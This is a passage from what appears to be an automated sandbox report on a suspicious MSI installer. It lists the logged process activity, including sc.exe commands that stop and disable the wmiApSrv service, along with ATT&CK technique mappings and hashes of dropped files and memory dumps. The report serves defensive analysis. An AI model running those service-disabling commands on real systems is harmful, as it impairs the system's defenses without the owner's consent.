- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" stop wmiApSrv
    3⤵
    - Launches sc.exe
    PID:2204
- - C:\Windows\SysWOW64\sc.exe
    "C:\Windows\SysWOW64\sc.exe" config wmiApSrv start=disabled
    3⤵
    - Launches sc.exe
    PID:2652

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Config.Msi\f7665c8.rbs

Filesize
2KB

MD5
912a420a4bfb3e048fdc27d90266570e

SHA1
603344bf7c0103ab1488d1e194488d7f81ffc96b

SHA256
c2efe33a49a43df37066a396db1a2bc7dc255d5d1dfc3a9b246b61388798d63b

SHA512
3dbeef6c0d7c0d4136785cfe1bb239138046994cd7870ccb310069fd7050fd133e755eea0b38ff36786866ea52b67eae1818b983b761b890ebf616860fe6f910

Download Submit
C:\Windows\Installer\MSI5BA7.tmp

Filesize
2.9MB

MD5
eb9a4cf233789b96f940be0186a26988

SHA1
002a1cee740fa212732379d1f00dbcf7c0cccbf2

SHA256
24d40ba4bf19e3cb942918eb8091ab467b11d5d737aef8e37cffc5306d0081d8

SHA512
725eefc24cf43ad0d5022f20608b1d149e9a4285cde7dc21b621aca3647d402a2ac7a2c0751614bae5f6d98c2b52e280e471f7f67f8916041c042bd1911784ce

Download Submit
C:\Windows\Installer\MSI5EC4.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI621F.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI6319.tmp

Filesize
537KB

MD5
d7ec04b009302b83da506b9c63ca775c

SHA1
6fa9ea09b71531754b4cd05814a91032229834c0

SHA256
00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

SHA512
171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

Download Submit
C:\Windows\Installer\MSI64EF.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
C:\Windows\Installer\MSI64EF.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI5EC4.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI621F.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
\Windows\Installer\MSI6319.tmp

Filesize
537KB

MD5
d7ec04b009302b83da506b9c63ca775c

SHA1
6fa9ea09b71531754b4cd05814a91032229834c0

SHA256
00c0e19c05f6df1a34cc3593680a6ab43874d6cd62a8046a7add91997cfabcd4

SHA512
171c465fe6f89b9e60da97896990d0b68ef595c3f70ee89b44fcf411352da22a457c41f7b853157f1faa500513419e504696775eefabe520f835ce9be5f4081c

Download Submit
\Windows\Installer\MSI64EF.tmp

Filesize
379KB

MD5
305a50c391a94b42a68958f3f89906fb

SHA1
4110d68d71f3594f5d3bdfca91a1c759ab0105d4

SHA256
f89c4313f2f4bc8654a7fa3697702e36688e8c2756df5ada209a7f3e3f1d906f

SHA512
fcad17ce34e35de6f0c7259e92acc842db2e68008cf45e628b18d71cb3bffcfca35e233cd8ae5eb2ae758b8a6503dbe832dd70038432ccbd56c99cd45da535f7

Download Submit
memory/1524-65-0x0000000073690000-0x0000000073C3B000-memory.dmp

Filesize
5.7MB

Download
memory/1524-66-0x0000000073690000-0x0000000073C3B000-memory.dmp

Filesize
5.7MB

Download
memory/1524-67-0x0000000002760000-0x00000000027A0000-memory.dmp

Filesize
256KB

Download
memory/1524-68-0x0000000002760000-0x00000000027A0000-memory.dmp

Filesize
256KB

Download
memory/1524-69-0x0000000002760000-0x00000000027A0000-memory.dmp

Filesize
256KB

Download
memory/1524-70-0x0000000073690000-0x0000000073C3B000-memory.dmp

Filesize
5.7MB

Download
memory/1524-71-0x0000000002760000-0x00000000027A0000-memory.dmp

Filesize
256KB

Download